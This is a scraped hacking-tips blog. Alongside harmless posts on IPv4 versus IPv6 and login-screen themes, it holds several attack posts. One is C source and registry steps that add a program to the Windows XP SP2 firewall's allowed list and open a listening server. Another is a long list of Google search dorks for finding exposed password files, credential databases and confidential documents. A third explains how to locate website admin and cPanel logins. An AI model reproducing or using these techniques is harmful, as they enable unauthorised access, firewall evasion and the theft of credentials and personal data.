Difference between IPv4 and IPv6

From a long time there is so much debate about changing from ipv4 to ipv6. But what are these so called ipv4 & ipv6, what is the difference between ipv4 and ipv6 and why is it necessary to change from ipv4 to ipv6. In this post we will discuss about all these in simple manner(at least i will try to be simple).

What is an IP

IP which is the short form of Internet Protocol, In simple, this IP is a set of technical rules which define how computer should communicate over a network. This IP has a task to do i.e to deliver datagram's from the source host to destination host based on their address. This address are called as IP(Internet Protocol) address. Currently there are two type of versions i.e IP version 4(IPv4) and IP version 6(IPv6).

What are IPv4 and IPv6

IPv4 is the short form of Internet Protocol Version 4. IPv4 is the first version of Internet Protocol which is widely used now and is deployed in 1981.

IPv6 is the short form of Internet Protocol Version 6. IPv6 is the newer version of Internet Protocol which is already in use(less than 1% uses it) and is more sophisticated then IPv4 and has a larger address pool. IPv6 is deployed in 1999.

Difference Between IPv4 and IPv6

When it comes to the difference between them there are some major differences which we should notice and after reading these differences you would say that IPv6 is better than IPv4.

1) IPv4 and IPv6 are deployed in 1981 and 1999 respectively.

2) IPv4 has a address size of 32-bit number, So the number of IP address are limited to 232 which is equal to 4 billion IPv4 address, if you want to be exact then there are 4,294,967,296 IPv4 address.
But when it comes to IPv6 it has a address size of 128-bit number, which means that the number of IPv6 address are equal to 2128 or approximately 340 undecillion or 3.4�1038 . To be exact there are 340,282,366,920,938,463,463,374,607,431,768,211,456 IPv6 address.

3) IPv4 address has a Dot Decimal Notation ex: 195.165.252.75. But the IPv6 address has a Hexadecimal and Colon separated Notation ex: 3FFF:2030:0535:AB0D:2125:4567:8902:ABDC.

4) IPv4 address has a prefix notation like this 195.165.0.0/24 but IPv6 address has prefix notation like this 3FFF:2030:0535::/48.

5) When compared to IPv4, IPv6 can make the routers task more simpler.

6)IPv6 can allows bigger payloads when compared to IPv4.

7) As you can see from above(point 1) IPv6 has a more useable address when compare to IPv4 which has only a 4 billion address.

8) IPv6 is far more better suited for mobile networks when compared to IPv4.

Not only these but there are may other major and important differences and features in IPv6.

Why is it necessary to shift from IPv4 to IPv6

This is the first major question you get, right� Then here is the famous answer, As its said before IPv4 has 4 billion address and no doubt that this is a large number when it was first deployed but we all do know that internet is growing bigger and bigger so as the ip address which in turn fills out the 4 billion address space. So, there is on other way but to shift to IPv6 which has a large number of address and capabilities.

Mean-while you can test your IPv6 compatibility here at http://www.test-ipv6.com. I had done my test on my collage computer and it is incompatible :( but my home system is compatible :(

My  lap are in compatible.

So, this is it. Do share your views, comments, and knowledge here by commenting and as i said before i tried to be simple in this post so if you think that i missed any important point about saying then please tell me through your comments.

Read more...

How to Bypass Windows XP Firewall using C program.

Hello Friends, today i will share with you the technique using which we can bypass windows-xp service pack-2 firewall. Its a 100% workinghack and its basically an exploit in windows XP.

This techniques is nothing but the vulnerability found in windows-xp sp2 firewall.


Windows XP Firewall Bypassing (Registry Based) :- Microsoft Windows XP SP2 comes bundled with a Firewall. Direct access to Firewall's registry keys allow local attackers to bypass the Firewall blocking list and allow malicious program to connect the network.

Vulnerable Systems :-
* Microsoft Windows XP SP2

Windows XP SP2 Firewall has list of allowed program in registry which are not properly protected from modification by a malicious local attacker.If an attacker adds a new key to the registry address of  

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

 the attacker can enable his malware or Trojan to connect to the Internet without the Firewall triggering a warning.

Proof of Concept :-
Launch the regedit.exe program and access the keys found under the following path:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\ SharedAccess\Parameters\FirewallPolicy\StandardProfile\ AuthorizedApplications\List

Add an entry key such as this one:
Name: C:\chat.exe
Value: C:\chat.exe:*:Enabled:chat

Source Code :-

#include <*stdio.h*>
#include <*windows.h*>
#include <*ezsocket.h*>
#include <*conio.h*>
#include "Shlwapi.h" 
int main( int argc, char *argv [] )
{
char buffer[1024];
char filename[1024];
HKEY hKey;
int i;
GetModuleFileName(NULL, filename, 1024);
strcpy(buffer, filename);
strcat(buffer, ":*:Enabled:");
strcat(buffer, "bugg");
RegOpenKeyEx(
HKEY_LOCAL_MACHINE,
"SYSTEM\\CurrentControlSet\\Services" "\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile" "\\AuthorizedApplications\\List",
0,
KEY_ALL_ACCESS,
&hKey);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));

int temp, sockfd, new_fd, fd_size; 
struct sockaddr_in remote_addr;
fprintf(stdout, "Simple server example with Anti SP2 firewall trick \n");
fprintf(stdout, " This is not trojan \n");
fprintf(stdout, " Opened port is :2001 \n");
fprintf(stdout, "author:Adnan Anjum\n");
fprintf(stdout, "Dedicated to hackguide4u \n");
sleep(3);
if ((sockfd = ezsocket(NULL, NULL, 2001, SERVER)) == -1)
return 0;
for (; ; )
{
RegDeleteValue(hKey, filename);
fd_size = sizeof(struct sockaddr_in);
if ((new_fd = accept(sockfd, (struct sockaddr *)&remote_addr, &fd_size)) == -1)
{
perror("accept");
continue;
}
temp = send(new_fd, "Hello Pakistan\r\n", strlen("HelloPakistan\r\n"), 0);
fprintf(stdout, "Sended: Hello Pakistan\r\n");
temp = recv(new_fd, buffer, 1024, 0);
buffer[temp] = '\0';
fprintf(stdout, "Recieved: %s\r\n", buffer);
ezclose_socket(new_fd);
RegSetValueEx(hKey, filename, 0, REG_SZ, buffer, strlen(buffer));
if (!strcmp(buffer, "quit"))
break;
}
ezsocket_exit();
return 0;
}
/* EoF */

Remove ** from the header files... easier to understand...Here we are just manipulating registry values using this program...

Read more...

Make Your Computer Login Screen Like FBI Tunnel

Step 1 : Download Logon Studio ,

LogonStudio 1.7 | 7Mb

Information:

Longing for some change in your life? Why not start with that boring old Windows XP logon screen? With the freeware LogonStudio, choosing another screen is a matter of two clicks. Alternately, you can design your own with a built-in editor.
The first option is a lot easier. About 30 cool screens are available on the WinCustomize site, and the program can randomly select one on every boot. Editing is less straightforward. You build or modify logon screens by tweaking parameters on a lengthy list of elements. So you might, for instance, change the FirstColor parameter of the Centre Panel element to a new shade of blue. This allows you to customize everything from background to letterings to buttons, but beginners will find the process quite confusing. The sketchy online help isn't much assistance, either.

Download For Windows Vista(Works With WIndows 7 too)

http://www.filesonic.com/file/1116137624

Download For WindowsXp:

http://www.filesonic.com/file/1116137664

2, Download FBI Files From Here:

http://www.filesonic.com/file/1116137644

3, iF YOU WANT TO REMOVE SWITCH USER BUTTON THEN YOU CAN DO WITH THIS REGISTERY TWEAK.

http://www.filesonic.com/file/1116137654

Read more...

Mobile Number Locator India: Trace a Mobile Number in India

You are getting calls from an unknown mobile number You have no idea how to trace a mobile number in India. But, you want to get a rough idea about thecaller � about his location, the service provider, etc. So, I have posted 3 ways which can be used to trace a mobile number in India. These mobile number locator services will surely help you in finding the unknown caller.

How to trace a mobile number in India:

Well, I am gonna post about 3 ways used to trace a mobile number in India:

A. Using desktop application
B. Using mobile application(much handy).
C. Using online mobile number locator services (websites).

So, let us have a look at all the above methods.

Mobile Number Locator for India:

A. Using desktop application:

1. Download Mobile Number locator to trace a mobile number in India.
Password: techotoys.net

2. Run the downloaded Mobile Number locator software on your computer.

3. Enter the mobile number which you want to trace and hit on Enter.

4. Mobile number locator software will show you the location of the mobile numberusing Google Maps.

Note: The mobile number locator software shows the exact state to which the mobilenumber belongs. But, it doesn�t show the city of the number.

Credit: This software is developed by PaRaSiTe.

B. Using Mobile application:

There are many mobile applications which can be used to trace a mobile number in India. Internet4mobile has offered a nice Mobile number locator application for mobile phones.

Download Mobile Number locator application. Install the application on your mobile and you will be able to trace a mobile number in India right from your mobile phone. Cheers!!! 

C. Using Mobile Number Locator service (Websites):

Well, you can find many such mobile locator services on web. I have listed 4 most used websites offering Mobile number locator service for India.

1. Indiatrace

2. Internet4mobile

3. Bharatiyamobile

4. India cellular

That�s it friends. These were the 3 ways which can be used to trace a mobile numberin India. Use these mobile number locator in India and trace mobile numbers. If you have any other trick or any such mobile number locator service, please share the method with us in comments.

This ends the ways to trace a mobile number in India�

Read more...

STEALING PASSWORD WITH GOOGLE HACK

Google is a treasure trove full of important information, especially for the underground world. This Potential fact can also be utilized in the data for the username and password stored on a server.

If the administrator save important data not in the complete system authentifikasi folder, then most likely be reached by the google search engine. If data is successfully steal in by the unauthorized person, then the will be in misuse.

Here, some google search syntax to crawl the password:

1. "Login: *" "password =*" filetype: xls (searching data command to the system files that are stored in Microsoft Excel)

2. allinurl: auth_user_file.txt (to find files auth_user_file.txt containing password on server).

3. filetype: xls inurl: "password.xls" (looking for username and password in ms excel format). This command can change with admin.xls)

4. intitle: login password (get link to the login page with the login words on the title and password words anywhere. If you want to the query index more pages, type allintitle)

5. intitle: "Index of" master.passwd (index the master password page)

6. index of / backup (will search the index backup file on server)

7. intitle: index.of people.lst (will find web pages that contain user list).

8. intitle: index.of passwd.bak ( will search the index backup password files)

9. intitle: "Index of" pwd.db (searching database password files).

10. intitle: "Index of .. etc" passwd (this command will index the password sequence page).

11. index.of passlist.txt (will load the page containing password list in the clear text format).

12. index.of.secret (google will bring on the page contains confidential document). This syntax also changed with government query site: gov to search for government secret files, including password data) or use syntax: index.of.private

13. filetype: xls username password email (will find spreadsheets filese containing a list of username and password).

14. "# PhpMyAdmin MySQL-Dump" filetype: txt (will index the page containing sensitive data administration that build with php)

15. inurl: ipsec.secrets-history-bugs (contains confidential data that have only by the super user). or order with inurl: ipsec.secrets "holds shared secrets"

16. inurl: ipsec.conf-intitle: manpage (useful to find files containing important data for hacking)

17. inurl: "wvdial.conf" intext: "password" (display the dialup connection that contain phone number, username and password)

18. inurl: "user.xls" intext: "password" (showing url that save username and passwords in spread sheet files)

19. filetype: ldb admin (web server will look for the store password in a database that dos not delete by googledork)

20.inurl: search / admin.php (will look for php web page for admin login). If you are lucky, you will find admin configuration page to create a new user.

21. inurl: password.log filetype:log (this keyword is to search for log files in a specific url)

22. filetype: reg HKEY_CURRENT_USER username (this keyword used to look for reg files (registyry) to the path HCU (Hkey_Current_User))


In fact, there are many more commands that google can crawl in use in the password. One who has the ability google reveals in this case is http://johnny.ihackstuff.com. For that, visit the web to add insight about the google ability.

Here, some of the other syntax google that we need to look for confidential data :

"Http://username: password @ www ..." filetype: bak inurl: "htaccess | passwd | shadow | ht users"
(this command is to take the user names and passwords for backup files)

filetype:mdb inurl:�account|users|admin|administrators|passwd|password� mdb files (this command is to take the password information)

filetype:ini ws_ftp pwd (searching admin password with ws_ftp.ini file)

intitle: "Index of" pwd.db (searching the encrypted usernames and passwords)

inurl:admin inurl:backup intitle:index.of (searching directories whose names contain the words admin and backup)

�Index of/� �Parent Directory� �WS _ FTP.ini� filetype:ini WS _ FTP PWD(WS_FTP configuration files is to take FTP server access passwords)

ext:pwd inurl:(service|authors|administrators|users) �# -FrontPage-� (there is Microsoft FrontPage passwords)

filetype: sql ( "passwd values ****" |" password values ****" | "pass values ****") searching a SQL code and passwords stored in the database)

intitle:index.of trillian.ini (configuration files for the Trillian IM)

eggdrop filetype:user (user configuration files for the Eggdrop ircbot)

filetype:conf slapd.conf (configuration files for OpenLDAP)

inurl:�wvdial.conf� intext:�password� (configuration files for WV Dial)

ext:ini eudora.ini (configuration files for the Eudora mail client)

filetype: mdb inurl: users.mdb (potentially to take user account information with Microsoft Access files)

intext:�powered by Web Wiz Journal� (websites using Web Wiz Journal, which in its standard configuration allows access to the passwords file � just enter http:///journal/journal.mdb instead of the default http:///journal/)

�Powered by DUclassified� -site:duware.com "Powered by DUclassified"-site: duware.com
�Powered by DUcalendar� -site:duware.com "Powered by DUcalendar"-site: duware.com
�Powered by DUdirectory� -site:duware.com "Powered by DUdirectory"-site: duware.com
�Powered by DUclassmate� -site:duware.com "Powered by DUclassmate"-site: duware.com
�Powered by DUdownload� -site:duware.com "Powered by DUdownload"-site: duware.com
�Powered by DUpaypal� -site:duware.com "Powered by DUpaypal"-site: duware.com
�Powered by DUforum� -site:duware.com "Powered by DUforum"-site: duware.com 

intitle:dupics inurl:(add.asp | default.asp |view.asp | voting.asp) -site:duware.com (websites that use DUclassified, DUcalendar, DUdirectory, DUclassmate, DUdownload, DUpaypal, DUforum or DUpics applications, by default allows us to retrieve passwords file)

To DUclassified, just visit http:///duClassified/ _private / duclassified.mdb
or http:///duClassified/ or http:///duClassified/

intext: "BiTBOARD v2.0" "BiTSHiFTERS Bulletin Board" (Bitboard2 use the website bulletin board, the default settings make it possible to retrieve the passwords files to be obtained with the ways http:///forum/admin/data _ passwd.dat
or http:///forum/forum.php) or http:///forum/forum.php)

Searching for specific documents :

filetype: xls inurl: "email.xls" (potentially to take the information contact)

�phone * * *� �address *� �e-mail� intitle:�curriculum vitae�
CVs "not for distribution" (confidential documents containing the confidential clause
buddylist.blt)

AIM contacts list AIM contacts list

intitle:index.of mystuff.xml intitle: index.of mystuff.xml

Trillian IM contacts list Trillian IM contacts list

filetype:ctt �msn� filetype: Note "msn"

MSN contacts list MSN contacts list

filetype:QDF (QDF database files for the Quicken financial application)

intitle: index.of finances.xls (finances.xls files, potentially to take information on bank accounts, financial Summaries and credit card numbers)

intitle: "Index Of"-inurl: maillog (potentially to retrieve e-mail account

reference:
� http://johnny.ihackstuff.com

Read more...

FIND ADMIN PANEL OF ANY WEBSITE

hii all so today i'll share you my way to find Admin Panel Of Any website to show you how a hacker or any idiot :D can find admin panelfrom any website !

so first of all Go to Google and search this words : www.websitename.com/robots.txt
Robots.txt is a text  file which is  add by admin on the site to tell search robots which pages that admin would like them not to visit while.
so as you can see above , there are many secret pages are hidden from search engines .like :administrator,images,templates,tmp etc ...
so by typing www.websitename.com/administrator you will find the admin panel of that site !
now, let's see the 2nd way to find admin panel ,
so lets talk about cPanel , so cPanel is a graphical user interface to control the whole website.
to get into cpanel it's very Easy , just type www.websitename.com:2082
you can replace the port numbers after the ":"

Port 2082  Cpanel default port
Port 2083  Cpanel over SSL
Port 2086  Cpanel Webhost Manager (default)
Port 2087  Cpanel Webhost Manager (with https)
Port 2095  Cpanel Webmail
Port 2096  Cpanel secure webmail over SSL
okay, so now third way

download this admin finder tool From Here


so guys, these are my poor ways to what's your's share it . :)
and Enjoy .....

Read more...

Top 5 Hack Tools for Hackers to Investigate Computer System

List of top 5 hack tools for hackers to Inverstigate or Forensic Computer system or PC:
1. Live View
2. Start up List
3. Open Files View
4. Wireshark
5. Helix 3

Working of above tools stepwise:
1. Live View
Live View is an open source utility that creates a virtual machine of the existing system. Live View creates a virtual disk out of the system that allows you to then safely investigate a copy of the system without interfering with anything installed. So you can easily investigate your system virtually without affecting the original system.
Now restart you PC for further investigations and tools to use.
You can download Live View for free here (Click here to download).

2. Start up List
Now you have a virtual copy of your system and now why you are waiting let's start investigating PC. So download the Start Up List (click here to download startup list).This is a great way to start the investigation of a system and determine what things might have potentially been put on the system to restart each time the system does. It will provide you the list of all programs that system use during the boot time. Great way to find the keyloggers and other remote montitoring tools as they are always added to start up. 
Now why i am saying this tool as you can directly do it using MSCONFIG command. Answer is as simple as question, msconfig only displays the list of programs that are attached to start up using registry keys. Normally what happens the viruses attach themself to some of the existing windows service so it will become difficult to identify its instances. Start up list displays all the back ground programs too. 

3. Open Files View
The next step in investigating your computer is to find or determine which other files, other than usual are open. In Linux we can directly do this using the ISOF command in the terminal but there is no similar command in windows. Ahhah now what will you do to investigate this.. Don't worry OpenFilesView is there(click here to download openfileview). Openfilesview is a Windows executable that lists all the files and processes that are active currently � both local and network based � on the system. So you can easily identify which unusual file is opened or which unusual process is running. Now how it helps, all keyloggers or remote administration tools always maintains a temporary file on which they write their logs or other details. Muahhhhhh... Now nothing is hidden from you. You can see each and everything and find out easily that which noob virus or keylogger is running on your system.

4. Wireshark
Mine favorite tool out of 5 tools. Now you have researched your system using above there tools, it time to investigate your network traffic. Several times it happens, when you install some software you doubt that it is sending your personal data or information to someone else. Wireshark is a tool that monitors your network packets and analyse them where its sending data. Now how its helpful for you, Most trojans and keyloggers sends logs using network and upload them to FTP or send them to some email address. Using wireshark you can monitor what they are sending and even the username and password of FTP and email accounts on which it is sending. This is the most promising factor that makes to love wireshark more. So why waiting download the wireshark for free: (Click here to download Wireshark).

5. Helix 3
Now you all will be thinks we have done everything, investigating is done...:D but i am Destructive Mind. So few more things are striking my mind. What more i can investigate in the PC. Any guesses...
Damn.. i forgot i was teaching you.. 
Now how will you determine what the noob viruses has changed in your system, which files they have edited or attached their signatures to which of the programs and most important what they have edited or added. This you can do with the help of Helix 3. Helix 3, a newly updated version of the live Linux forensics tool, can be used to examine the disk safely to see what has been finally changed. So guys now how classy you think you have become. But sorry to inform you that its the first part of hacker's life and i guranttee 99.99% guys doesn't know these tools. Ahhh... If they know about these tools then they surely doesn't know how to use them and more important if they know that also they probably never used them as they are LAZY enough and leave everything on noob antiviruses.
(Click here to download helix3)  Its a 30 day trial version guys, as licensed version is for one system only and i can't share mine :D. But i can tell you some awesome tricks to use it as much as you want. For downloading evalation version again and again just register with new email ID and remove the previous version using WinXP manager which removes registry keys also.

One more suggestion about these noob antiviruses, they detect only those viruses and trojans that are in their database, if a new virus has come then you have to wait till next database upgrade for getting it detected.

Read more...

Reveal Hidden Password Using Asterisk Key

It�s a good practice not to use the same password on everything. This is because if your ONLY password falls in the wrong hands, the next thing you know is you won�t be able to access anything at all. Imagine you loose access to your Hotmail, GMail, Yahoo, Windows Live Messenger, Yahoo Messenger, Google Talk, Internet Bank account and etc. a day! You�ll go crazy loosing all your contacts and you know someone is having a great time reading all your personal emails.

For me, I use different password for softwares/websites and most of it is saved on my laptop for easy access. Problem is, if you use too many different passwords, sometimes we tend to forget the password that we set for the software or website. If the password is saved, you can easily use a tool to show the password hidden under the asterisk *******

I am sure many of you remember �SnadBoy�s Revelation� but unfortunately it doesn�t support showing passwords hidden under asterisks in web pages. So I won�t be recommending this tool because I know a better one.

Asterisk Key shows passwords hidden under asterisks. It is able to instantly uncover hidden passwords on password dialog boxes and web pages. The setup is less than 500KB and it works perfectly.

Reveal hidden password in Google Talk (Software)



 

Reveal hidden password in Internet Explorer (Web Page)



 

Both Google Talk and Internet Explorer is active. I then launch Asterisk Key and click the �Recover� button. Within a second, Asterisk Key shows the passwords hidden under asterisks.



Just a word of advice, please use this tool to recover your OWN password. If you get caught in using this tool to steal people�s password, you can get into serious trouble. Treat this tool as a useful recovery too instead of hacking tool.

Note: Asterisk Key doesn�t reveal password hidden under asterisk in Firefox browser.

Download Asterisk Key here.

Enjoy HaCkInG.....

Read more...

Batch File Programming Ebook

Batch File programming refers to a batch file which are essentially sequences of DOS commands and are stored in a text file with an extension of �.BAT�.
Usually batch files are used to do repeated tasks i.e To do a regular task you do not need to type in the commands over and over again, instead you can 

create a batch file which consists set of commands, So when you execute it it will do your task automatically!

Why Do You Need to learn Batch Programming ?
Yes every user will get to this question because they don't know the real power of Batch Coding and many of them think that its only a funny thing which can do a few notepad tricks....
You have to believe that Batch Coding is widely used by hackers for some attacks like DNS poisoning, Creating Viruses, service Disabler, Bombers, Extension Changer, Keylogger remapper etc.., So if you really want to become a specialist in security stuff get to the basic and learn Batch File Programming.

So what are you waiting for Just download it now for FREE!

DOWNLOAD

Read more...